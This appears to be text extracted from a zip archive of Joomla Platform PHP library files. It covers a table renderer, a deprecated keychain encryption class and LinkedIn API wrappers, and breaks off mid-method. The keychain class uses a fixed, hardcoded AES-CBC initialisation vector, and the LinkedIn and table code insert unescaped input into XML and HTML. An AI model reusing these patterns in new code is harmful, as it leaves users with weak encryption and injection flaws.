tfoot, thead
* @param string $cell Name of the cell to render. Valid: td, th
*
* @return string The rendered table area
*
* @since 1.7.3
*/
protected function renderArea($ids, $area = 'tbody', $cell =
'td')
{
$output = array();
$output[] = '<' . $area . ">\n";
foreach ($ids as $id)
{
$output[] = "\t<tr" .
$this->renderAttributes($this->rows[$id]['_row']) .
">\n";
foreach ($this->getColumns() as $name)
{
if (isset($this->rows[$id][$name]))
{
$column = $this->rows[$id][$name];
$output[] = "\t\t<" . $cell .
$this->renderAttributes($column->options) . '>' .
$column->content . '</' . $cell . ">\n";
}
}
$output[] = "\t</tr>\n";
}
$output[] = '</' . $area . '>';
return implode('', $output);
}
/**
* Renders an HTML attribute from an associative array
*
* @param array $attributes Associative array of attributes
*
* @return string The HTML attribute string
*
* @since 1.7.3
*/
protected function renderAttributes($attributes)
{
if (count((array) $attributes) == 0)
{
return '';
}
$return = array();
foreach ($attributes as $key => $option)
{
$return[] = $key . '="' . $option . '"';
}
return ' ' . implode(' ', $return);
}
}
PKNn�[/�q��keychain/keychain.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Keychain
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Keychain Class
*
* @since 3.1.4
* @deprecated 4.0 Deprecated without replacement
*/
class JKeychain extends \Joomla\Registry\Registry
{
/**
* @var string Method to use for encryption.
* @since 3.1.4
*/
public $method = 'aes-128-cbc';
/**
* @var string Initialisation vector for encryption method.
* @since 3.1.4
*/
public $iv = '1234567890123456';
/**
* Create a passphrase file
*
* @param string $passphrase The passphrase to store in the
passphrase file.
* @param string $passphraseFile Path to the passphrase file to
create.
* @param string $privateKeyFile Path to the private key file to
encrypt the passphrase file.
* @param string $privateKeyPassphrase The passphrase for the private
key.
*
* @return boolean Result of writing the passphrase file to disk.
*
* @since 3.1.4
* @throws RuntimeException
*/
public function createPassphraseFile($passphrase, $passphraseFile,
$privateKeyFile, $privateKeyPassphrase)
{
$privateKey = openssl_get_privatekey(file_get_contents($privateKeyFile),
$privateKeyPassphrase);
if (!$privateKey)
{
throw new RuntimeException('Failed to load private key.');
}
$crypted = '';
if (!openssl_private_encrypt($passphrase, $crypted, $privateKey))
{
throw new RuntimeException('Failed to encrypt data using private
key.');
}
return file_put_contents($passphraseFile, $crypted);
}
/**
* Delete a registry value (very simple method)
*
* @param string $path Registry Path (e.g. joomla.content.showauthor)
*
* @return mixed Value of old value or boolean false if operation failed
*
* @since 3.1.4
*/
public function deleteValue($path)
{
$result = null;
// Explode the registry path into an array
$nodes = explode('.', $path);
if ($nodes)
{
// Initialize the current node to be the registry root.
$node = $this->data;
// Traverse the registry to find the correct node for the result.
for ($i = 0, $n = count($nodes) - 1; $i < $n; $i++)
{
if (!isset($node->{$nodes[$i]}) && ($i != $n))
{
$node->{$nodes[$i]} = new stdClass;
}
$node = $node->{$nodes[$i]};
}
// Get the old value if exists so we can return it
$result = $node->{$nodes[$i]};
unset($node->{$nodes[$i]});
}
return $result;
}
/**
* Load a keychain file into this object.
*
* @param string $keychainFile Path to the keychain file.
* @param string $passphraseFile The path to the passphrase file to
decript the keychain.
* @param string $publicKeyFile The file containing the public key to
decrypt the passphrase file.
*
* @return boolean Result of loading the object.
*
* @since 3.1.4
* @throws RuntimeException
*/
public function loadKeychain($keychainFile, $passphraseFile,
$publicKeyFile)
{
if (!file_exists($keychainFile))
{
throw new RuntimeException('Attempting to load non-existent
keychain file');
}
$passphrase = $this->getPassphraseFromFile($passphraseFile,
$publicKeyFile);
$cleartext = openssl_decrypt(file_get_contents($keychainFile),
$this->method, $passphrase, true, $this->iv);
if ($cleartext === false)
{
throw new RuntimeException('Failed to decrypt keychain file');
}
return $this->loadObject(json_decode($cleartext));
}
/**
* Save this keychain to a file.
*
* @param string $keychainFile The path to the keychain file.
* @param string $passphraseFile The path to the passphrase file to
encrypt the keychain.
* @param string $publicKeyFile The file containing the public key to
decrypt the passphrase file.
*
* @return boolean Result of storing the file.
*
* @since 3.1.4
* @throws RuntimeException
*/
public function saveKeychain($keychainFile, $passphraseFile,
$publicKeyFile)
{
$passphrase = $this->getPassphraseFromFile($passphraseFile,
$publicKeyFile);
$data = $this->toString('JSON');
$encrypted = @openssl_encrypt($data, $this->method, $passphrase, true,
$this->iv);
if ($encrypted === false)
{
throw new RuntimeException('Unable to encrypt keychain');
}
return file_put_contents($keychainFile, $encrypted);
}
/**
* Get the passphrase for this keychain
*
* @param string $passphraseFile The file containing the passphrase to
encrypt and decrypt.
* @param string $publicKeyFile The file containing the public key to
decrypt the passphrase file.
*
* @return string The passphrase in from passphraseFile
*
* @since 3.1.4
* @throws RuntimeException
*/
protected function getPassphraseFromFile($passphraseFile, $publicKeyFile)
{
if (!file_exists($publicKeyFile))
{
throw new RuntimeException('Missing public key file');
}
$publicKey = openssl_get_publickey(file_get_contents($publicKeyFile));
if (!$publicKey)
{
throw new RuntimeException('Failed to load public key.');
}
if (!file_exists($passphraseFile))
{
throw new RuntimeException('Missing passphrase file');
}
$passphrase = '';
if (!openssl_public_decrypt(file_get_contents($passphraseFile),
$passphrase, $publicKey))
{
throw new RuntimeException('Failed to decrypt passphrase
file');
}
return $passphrase;
}
}
PKNn�[�{��linkedin/communications.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Linkedin
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Linkedin API Social Communications class for the Joomla Platform.
*
* @since 3.2.0
*/
class JLinkedinCommunications extends JLinkedinObject
{
/**
* Method used to invite people.
*
* @param string $email A string containing email of the
recipient.
* @param string $firstName A string containing first name of the
recipient.
* @param string $lastName A string containing last name of the
recipient.
* @param string $subject The subject of the message that will be
sent to the recipient
* @param string $body A text of the message.
* @param string $connection Only connecting as a 'friend'
is supported presently.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function inviteByEmail($email, $firstName, $lastName, $subject,
$body, $connection = 'friend')
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the success response code.
$this->oauth->setOption('success_code', 201);
// Set the API base.
$base = '/v1/people/~/mailbox';
// Build the xml.
$xml = '<mailbox-item>
<recipients>
<recipient>
<person path="/people/email=' . $email .
'">
<first-name>' . $firstName . '</first-name>
<last-name>' . $lastName . '</last-name>
</person>
</recipient>
</recipients>
<subject>' . $subject . '</subject>
<body>' . $body . '</body>
<item-content>
<invitation-request>
<connect-type>' . $connection .
'</connect-type>
</invitation-request>
</item-content>
</mailbox-item>';
$header['Content-Type'] = 'text/xml';
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'POST',
$parameters, $xml, $header);
return $response;
}
/**
* Method used to invite people.
*
* @param string $id Member id.
* @param string $firstName A string containing first name of the
recipient.
* @param string $lastName A string containing last name of the
recipient.
* @param string $subject The subject of the message that will be
sent to the recipient
* @param string $body A text of the message.
* @param string $connection Only connecting as a 'friend'
is supported presently.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function inviteById($id, $firstName, $lastName, $subject, $body,
$connection = 'friend')
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base for people search.
$base =
'/v1/people-search:(people:(api-standard-profile-request))';
$data['format'] = 'json';
$data['first-name'] = $firstName;
$data['last-name'] = $lastName;
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
$parameters, $data);
if (strpos($response->body, 'apiStandardProfileRequest') ===
false)
{
throw new RuntimeException($response->body);
}
// Get header value.
$value = explode('"value": "',
$response->body);
$value = explode('"', $value[1]);
$value = $value[0];
// Split on the colon character.
$value = explode(':', $value);
$name = $value[0];
$value = $value[1];
// Set the success response code.
$this->oauth->setOption('success_code', 201);
// Set the API base.
$base = '/v1/people/~/mailbox';
// Build the xml.
$xml = '<mailbox-item>
<recipients>
<recipient>
<person path="/people/id=' . $id . '">
</person>
</recipient>
</recipients>
<subject>' . $subject . '</subject>
<body>' . $body . '</body>
<item-content>
<invitation-request>
<connect-type>' . $connection .
'</connect-type>
<authorization>
<name>' . $name . '</name>
<value>' . $value . '</value>
</authorization>
</invitation-request>
</item-content>
</mailbox-item>';
$header['Content-Type'] = 'text/xml';
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'POST',
$parameters, $xml, $header);
return $response;
}
/**
* Method used to send messages via LinkedIn between two or more
individuals connected to the member sending the message..
*
* @param mixed $recipient A string containing the member id or an
array of ids.
* @param string $subject The subject of the message that will be
sent to the recipient
* @param string $body A text of the message.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function sendMessage($recipient, $subject, $body)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the success response code.
$this->oauth->setOption('success_code', 201);
// Set the API base.
$base = '/v1/people/~/mailbox';
// Build the xml.
$xml = '<mailbox-item>
<recipients>';
if (is_array($recipient))
{
foreach ($recipient as $r)
{
$xml .= '<recipient>
<person path="/people/' . $r . '"/>
</recipient>';
}
}
$xml .= '</recipients>
<subject>' . $subject . '</subject>
<body>' . $body . '</body>
</mailbox-item>';
$header['Content-Type'] = 'text/xml';
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'POST',
$parameters, $xml, $header);
return $response;
}
}
PKNn�[��2�+�+linkedin/companies.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Linkedin
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Linkedin API Companies class for the Joomla Platform.
*
* @since 3.2.0
*/
class JLinkedinCompanies extends JLinkedinObject
{
/**
* Method to retrieve companies using a company ID, a universal name, or
an email domain.
*
* @param integer $id The unique internal numeric company
identifier.
* @param string $name The unique string identifier for a company.
* @param string $domain Company email domains.
* @param string $fields Request fields beyond the default ones.
*
* @return array The decoded JSON response
*
* @since 3.2.0
* @throws RuntimeException
*/
public function getCompanies($id = null, $name = null, $domain = null,
$fields = null)
{
// At least one value is needed to retrieve data.
if ($id == null && $name == null && $domain == null)
{
// We don't have a valid entry
throw new RuntimeException('You must specify a company ID, a
universal name, or an email domain.');
}
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = '/v1/companies';
if ($id && $name)
{
$base .= '::(' . $id . ',universal-name=' . $name .
')';
}
elseif ($id)
{
$base .= '/' . $id;
}
elseif ($name)
{
$base .= '/universal-name=' . $name;
}
// Set request parameters.
$data['format'] = 'json';
if ($domain)
{
$data['email-domain'] = $domain;
}
// Check if fields is specified.
if ($fields)
{
$base .= ':' . $fields;
}
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
$parameters, $data);
return json_decode($response->body);
}
/**
* Method to read shares for a particular company .
*
* @param string $id The unique company identifier.
* @param string $type Any valid Company Update Type from the table:
https://developer.linkedin.com/reading-company-updates.
* @param integer $count Maximum number of updates to return.
* @param integer $start The offset by which to start Network Update
pagination.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function getUpdates($id, $type = null, $count = 0, $start = 0)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = '/v1/companies/' . $id . '/updates';
// Set request parameters.
$data['format'] = 'json';
// Check if type is specified.
if ($type)
{
$data['event-type'] = $type;
}
// Check if count is specified.
if ($count > 0)
{
$data['count'] = $count;
}
// Check if start is specified.
if ($start > 0)
{
$data['start'] = $start;
}
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
$parameters, $data);
return json_decode($response->body);
}
/**
* Method to search across company pages.
*
* @param string $fields Request fields beyond the default ones.
* @param string $keywords Members who have all the keywords anywhere
in their profile.
* @param boolean $hq Matching companies by the headquarters
location. When this is set to "true" and a location facet is
used,
* this restricts returned companies to only those whose
headquarters resides in the specified location.
* @param string $facets Facet buckets to return, e.g. location.
* @param array $facet Array of facet values to search over.
Contains values for location, industry, network, company-size,
* num-followers-range and fortune, in exactly this order, null
must be specified for an element if no value.
* @param integer $start Starting location within the result set
for paginated returns.
* @param integer $count The number of results returned.
* @param string $sort Controls the search result order. There
are four options: relevance, relationship,
* followers and company-size.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function search($fields = null, $keywords = null, $hq = false,
$facets = null, $facet = null, $start = 0, $count = 0, $sort = null)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = '/v1/company-search';
$data['format'] = 'json';
// Check if fields is specified.
if ($fields)
{
$base .= ':' . $fields;
}
// Check if keywords is specified.
if ($keywords)
{
$data['keywords'] = $keywords;
}
// Check if hq is true.
if ($hq)
{
$data['hq-only'] = $hq;
}
// Check if facets is specified.
if ($facets)
{
$data['facets'] = $facets;
}
// Check if facet is specified.
if ($facet)
{
$data['facet'] = array();
for ($i = 0, $iMax = count($facet); $i < $iMax; $i++)
{
if ($facet[$i])
{
if ($i == 0)
{
$data['facet'][] = 'location,' . $facet[$i];
}
if ($i == 1)
{
$data['facet'][] = 'industry,' . $facet[$i];
}
if ($i == 2)
{
$data['facet'][] = 'network,' . $facet[$i];
}
if ($i == 3)
{
$data['facet'][] = 'company-size,' . $facet[$i];
}
if ($i == 4)
{
$data['facet'][] = 'num-followers-range,' .
$facet[$i];
}
if ($i == 5)
{
$data['facet'][] = 'fortune,' . $facet[$i];
}
}
}
}
// Check if start is specified.
if ($start > 0)
{
$data['start'] = $start;
}
// Check if count is specified.
if ($count > 0)
{
$data['count'] = $count;
}
// Check if sort is specified.
if ($sort)
{
$data['sort'] = $sort;
}
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
$parameters, $data);
return json_decode($response->body);
}
/**
* Method to get a list of companies the current member is following.
*
* @param string $fields Request fields beyond the default ones.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function getFollowed($fields = null)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = '/v1/people/~/following/companies';
$data['format'] = 'json';
// Check if fields is specified.
if ($fields)
{
$base .= ':' . $fields;
}
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
$parameters, $data);
return json_decode($response->body);
}
/**
* Method to follow a company.
*
* @param string $id The unique identifier for a company.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function follow($id)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the success response code.
$this->oauth->setOption('success_code', 201);
// Set the API base
$base = '/v1/people/~/following/companies';
// Build xml.
$xml = '<company><id>' . $id .
'</id></company>';
// Build the request path.
$path = $this->getOption('api.url') . $base;
$header['Content-Type'] = 'text/xml';
// Send the request.
$response = $this->oauth->oauthRequest($path, 'POST',
$parameters, $xml, $header);
return $response;
}
/**
* Method to unfollow a company.
*
* @param string $id The unique identifier for a company.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function unfollow($id)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the success response code.
$this->oauth->setOption('success_code', 204);
// Set the API base
$base = '/v1/people/~/following/companies/id=' . $id;
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'DELETE',
$parameters);
return $response;
}
/**
* Method to get a collection of suggested companies for the current user.
*
* @param string $fields Request fields beyond the default ones.
* @param integer $start Starting location within the result set for
paginated returns.
* @param integer $count The number of results returned.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function getSuggested($fields = null, $start = 0, $count = 0)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = '/v1/people/~/suggestions/to-follow/companies';
$data['format'] = 'json';
// Check if fields is specified.
if ($fields)
{
$base .= ':' . $fields;
}
// Check if start is specified.
if ($start > 0)
{
$data['start'] = $start;
}
// Check if count is specified.
if ($count > 0)
{
$data['count'] = $count;
}
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
$parameters, $data);
return json_decode($response->body);
}
/**
* Method to get a collection of suggested companies for the current user.
*
* @param string $id The unique identifier for a company.
* @param string $fields Request fields beyond the default ones.
* @param integer $start Starting location within the result set for
paginated returns.
* @param integer $count The number of results returned.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function getProducts($id, $fields = null, $start = 0, $count = 0)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = '/v1/companies/' . $id . '/products';
$data['format'] = 'json';
// Check if fields is specified.
if ($fields)
{
$base .= ':' . $fields;
}
// Check if start is specified.
if ($start > 0)
{
$data['start'] = $start;
}
// Check if count is specified.
if ($count > 0)
{
$data['count'] = $count;
}
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
$parameters, $data);
return json_decode($response->body);
}
}
PKNn�[n�9g9glinkedin/groups.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Linkedin
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Linkedin API Groups class for the Joomla Platform.
*
* @since 3.2.0
*/
class JLinkedinGroups extends JLinkedinObject
{
/**
* Method to get a group.
*
* @param string $id The unique identifier for a group.
* @param string $fields Request fields beyond the default ones.
* @param integer $start Starting location within the result set for
paginated returns.
* @param integer $count The number of results returned.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function getGroup($id, $fields = null, $start = 0, $count = 5)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = '/v1/groups/' . $id;
$data['format'] = 'json';
// Check if fields is specified.
if ($fields)
{
$base .= ':' . $fields;
}
// Check if start is specified.
if ($start > 0)
{
$data['start'] = $start;
}
// Check if count is specified.
if ($count != 5)
{
$data['count'] = $count;
}
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
$parameters, $data);
return json_decode($response->body);
}
/**
* Method to find the groups a member belongs to.
*
* @param string $id The unique identifier for a user.
* @param string $fields Request fields beyond the default
ones.
* @param integer $start Starting location within the result
set for paginated returns.
* @param integer $count The number of results returned.
* @param string $membershipState The state of the caller’s
membership to the specified group.
* Values are: non-member,
awaiting-confirmation, awaiting-parent-group-confirmation, member,
moderator,
* manager, owner.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function getMemberships($id = null, $fields = null, $start = 0,
$count = 5, $membershipState = null)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = '/v1/people/';
// Check if id is specified.
if ($id)
{
$base .= $id . '/group-memberships';
}
else
{
$base .= '~/group-memberships';
}
$data['format'] = 'json';
// Check if fields is specified.
if ($fields)
{
$base .= ':' . $fields;
}
// Check if start is specified.
if ($start > 0)
{
$data['start'] = $start;
}
// Check if count is specified.
if ($count != 5)
{
$data['count'] = $count;
}
// Check if membership_state is specified.
if ($membershipState)
{
$data['membership-state'] = $membershipState;
}
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
$parameters, $data);
return json_decode($response->body);
}
/**
* Method to find the groups a member belongs to.
*
* @param string $personId The unique identifier for a user.
* @param string $groupId The unique identifier for a group.
* @param string $fields Request fields beyond the default ones.
* @param integer $start Starting location within the result set
for paginated returns.
* @param integer $count The number of results returned.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function getSettings($personId = null, $groupId = null, $fields =
null, $start = 0, $count = 5)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = '/v1/people/';
// Check if person_id is specified.
if ($personId)
{
$base .= $personId . '/group-memberships';
}
else
{
$base .= '~/group-memberships';
}
// Check if group_id is specified.
if ($groupId)
{
$base .= '/' . $groupId;
}
$data['format'] = 'json';
// Check if fields is specified.
if ($fields)
{
$base .= ':' . $fields;
}
// Check if start is specified.
if ($start > 0)
{
$data['start'] = $start;
}
// Check if count is specified.
if ($count != 5)
{
$data['count'] = $count;
}
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
$parameters, $data);
return json_decode($response->body);
}
/**
* Method to change a groups settings.
*
* @param string $groupId The unique identifier for a group.
* @param boolean $showLogo Show group logo in profile.
* @param string $digestFrequency Email digest frequency.
* @param boolean $announcements Email announcements from managers.
* @param boolean $allowMessages Allow messages from members.
* @param boolean $newPost Email for every new post.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function changeSettings($groupId, $showLogo = null,
$digestFrequency = null, $announcements = null,
$allowMessages = null, $newPost = null)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = '/v1/people/~/group-memberships/' . $groupId;
// Build xml.
$xml = '<group-membership>';
if (!is_null($showLogo))
{
$xml .= '<show-group-logo-in-profile>' .
$this->booleanToString($showLogo) .
'</show-group-logo-in-profile>';
}
if ($digestFrequency)
{
$xml .= '<email-digest-frequency><code>' .
$digestFrequency .
'</code></email-digest-frequency>';
}
if (!is_null($announcements))
{
$xml .= '<email-announcements-from-managers>' .
$this->booleanToString($announcements) .
'</email-announcements-from-managers>';
}
if (!is_null($allowMessages))
{
$xml .= '<allow-messages-from-members>' .
$this->booleanToString($allowMessages) .
'</allow-messages-from-members>';
}
if (!is_null($newPost))
{
$xml .= '<email-for-every-new-post>' .
$this->booleanToString($newPost) .
'</email-for-every-new-post>';
}
$xml .= '</group-membership>';
// Build the request path.
$path = $this->getOption('api.url') . $base;
$header['Content-Type'] = 'text/xml';
// Send the request.
$response = $this->oauth->oauthRequest($path, 'PUT',
$parameters, $xml, $header);
return $response;
}
/**
* Method to join a group.
*
* @param string $groupId The unique identifier for a group.
* @param boolean $showLogo Show group logo in profile.
* @param string $digestFrequency Email digest frequency.
* @param boolean $announcements Email announcements from managers.
* @param boolean $allowMessages Allow messages from members.
* @param boolean $newPost Email for every new post.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function joinGroup($groupId, $showLogo = null, $digestFrequency =
null, $announcements = null,
$allowMessages = null, $newPost = null)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the success response code.
$this->oauth->setOption('success_code', 201);
// Set the API base
$base = '/v1/people/~/group-memberships';
// Build xml.
$xml = '<group-membership><group><id>' .
$groupId . '</id></group>';
if (!is_null($showLogo))
{
$xml .= '<show-group-logo-in-profile>' .
$this->booleanToString($showLogo) .
'</show-group-logo-in-profile>';
}
if ($digestFrequency)
{
$xml .= '<email-digest-frequency><code>' .
$digestFrequency .
'</code></email-digest-frequency>';
}
if (!is_null($announcements))
{
$xml .= '<email-announcements-from-managers>' .
$this->booleanToString($announcements) .
'</email-announcements-from-managers>';
}
if (!is_null($allowMessages))
{
$xml .= '<allow-messages-from-members>' .
$this->booleanToString($allowMessages) .
'</allow-messages-from-members>';
}
if (!is_null($newPost))
{
$xml .= '<email-for-every-new-post>' .
$this->booleanToString($newPost) .
'</email-for-every-new-post>';
}
$xml .=
'<membership-state><code>member</code></membership-state></group-membership>';
// Build the request path.
$path = $this->getOption('api.url') . $base;
$header['Content-Type'] = 'text/xml';
// Send the request.
$response = $this->oauth->oauthRequest($path, 'POST',
$parameters, $xml, $header);
return $response;
}
/**
* Method to leave a group.
*
* @param string $groupId The unique identifier for a group.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function leaveGroup($groupId)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the success response code.
$this->oauth->setOption('success_code', 204);
// Set the API base
$base = '/v1/people/~/group-memberships/' . $groupId;
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'DELETE',
$parameters);
return $response;
}
/**
* Method to get dicussions for a group.
*
* @param string $id The unique identifier for a group.
* @param string $fields Request fields beyond the default
ones.
* @param integer $start Starting location within the result
set for paginated returns.
* @param integer $count The number of results returned.
* @param string $order Sort order for posts. Valid for:
recency, popularity.
* @param string $category Category of posts. Valid for:
discussion
* @param string $modifiedSince Timestamp filter for posts created
after the specified value.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function getDiscussions($id, $fields = null, $start = 0, $count =
0, $order = null, $category = 'discussion', $modifiedSince =
null)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = '/v1/groups/' . $id . '/posts';
$data['format'] = 'json';
// Check if fields is specified.
if ($fields)
{
$base .= ':' . $fields;
}
// Check if start is specified.
if ($start > 0)
{
$data['start'] = $start;
}
// Check if count is specified.
if ($count > 0)
{
$data['count'] = $count;
}
// Check if order is specified.
if ($order)
{
$data['order'] = $order;
}
// Check if category is specified.
if ($category)
{
$data['category'] = $category;
}
// Check if modified_since is specified.
if ($modifiedSince)
{
$data['modified-since'] = $modifiedSince;
}
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
$parameters, $data);
return json_decode($response->body);
}
/**
* Method to get posts a user started / participated in / follows for a
group.
*
* @param string $groupId The unique identifier for a group.
* @param string $role Filter for posts related to the
caller. Valid for: creator, commenter, follower.
* @param string $personId The unique identifier for a user.
* @param string $fields Request fields beyond the default
ones.
* @param integer $start Starting location within the result
set for paginated returns.
* @param integer $count The number of results returned.
* @param string $order Sort order for posts. Valid for:
recency, popularity.
* @param string $category Category of posts. Valid for:
discussion
* @param string $modifiedSince Timestamp filter for posts created
after the specified value.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function getUserPosts($groupId, $role, $personId = null, $fields =
null, $start = 0, $count = 0,
$order = null, $category = 'discussion', $modifiedSince = null)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = '/v1/people/';
// Check if person_id is specified.
if ($personId)
{
$base .= $personId;
}
else
{
$base .= '~';
}
$base .= '/group-memberships/' . $groupId . '/posts';
$data['format'] = 'json';
$data['role'] = $role;
// Check if fields is specified.
if ($fields)
{
$base .= ':' . $fields;
}
// Check if start is specified.
if ($start > 0)
{
$data['start'] = $start;
}
// Check if count is specified.
if ($count > 0)
{
$data['count'] = $count;
}
// Check if order is specified.
if ($order)
{
$data['order'] = $order;
}
// Check if category is specified.
if ($category)
{
$data['category'] = $category;
}
// Check if modified_since is specified.
if ($modifiedSince)
{
$data['modified-since'] = $modifiedSince;
}
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
$parameters, $data);
return json_decode($response->body);
}
/**
* Method to retrieve details about a post.
*
* @param string $postId The unique identifier for a post.
* @param string $fields Request fields beyond the default ones.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function getPost($postId, $fields = null)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = '/v1/posts/' . $postId;
$data['format'] = 'json';
// Check if fields is specified.
if ($fields)
{
$base .= ':' . $fields;
}
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
$parameters, $data);
return json_decode($response->body);
}
/**
* Method to retrieve all comments of a post.
*
* @param string $postId The unique identifier for a post.
* @param string $fields Request fields beyond the default ones.
* @param integer $start Starting location within the result set for
paginated returns.
* @param integer $count The number of results returned.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function getPostComments($postId, $fields = null, $start = 0,
$count = 0)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = '/v1/posts/' . $postId . '/comments';
$data['format'] = 'json';
// Check if fields is specified.
if ($fields)
{
$base .= ':' . $fields;
}
// Check if start is specified.
if ($start > 0)
{
$data['start'] = $start;
}
// Check if count is specified.
if ($count > 0)
{
$data['count'] = $count;
}
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
$parameters, $data);
return json_decode($response->body);
}
/**
* Method to retrieve all comments of a post.
*
* @param string $groupId The unique identifier for a group.
* @param string $title Post title.
* @param string $summary Post summary.
*
* @return string The created post's id.
*
* @since 3.2.0
*/
public function createPost($groupId, $title, $summary)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the success response code.
$this->oauth->setOption('success_code', 201);
// Set the API base
$base = '/v1/groups/' . $groupId . '/posts';
// Build xml.
